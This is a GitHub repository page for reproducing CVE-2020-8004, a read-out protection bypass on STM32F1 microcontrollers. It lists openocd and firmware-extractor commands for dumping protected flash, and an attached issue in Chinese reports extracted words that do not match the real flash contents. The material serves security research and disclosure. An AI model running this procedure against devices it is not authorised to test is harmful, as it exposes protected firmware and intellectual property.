wuxx/cve-2020-8004

CVE-2020-8004

测试

$cd openocd-toolbox/scripts/linux/stm32f1x/
$./lock.sh
$./attach.sh
($telnet localhost 4444)
($reset halt)
($mdw 0x08000000)
$cd stm32f1-firmware-extractor
$python3 main.py 0x08000000 512

参考

• https://blog.zapb.de/stm32f1-exceptional-failure/
• https://gitlab.zapb.de/zapb/stm32f1-firmware-extractor/
• https://www.muselab-tech.com/cve-2020-8004-lou-dong-yuan-li-fen-xi/
• 《Cortex-M3权威指南》

cve-2020-8004's Issues

读到的数据和Flash不匹配

读到了和https://github.com/wuxx/CVE-2020-8004/raw/master/doc/screenshot.png类似的数据
python main.py 0x08000000 4
num_exceptions: 16; table_size: 16; vtor_address: 08000000; exception_number0: 0
update exception_number2: 0;
08000000: ffffffff
num_exceptions: 16; table_size: 16; vtor_address: 08000000; exception_number0: 1
update exception_number2: 1;
08000004: ffffffff
num_exceptions: 16; table_size: 16; vtor_address: 08000000; exception_number0: 2
08000008: 08000261
num_exceptions: 16; table_size: 16; vtor_address: 08000000; exception_number0: 3
0800000c: 08000263

但与实际数据不匹配
实际值为08000000~: D8 C1 00 20 45 01 00 08 61 02 00 08 63 02 00 08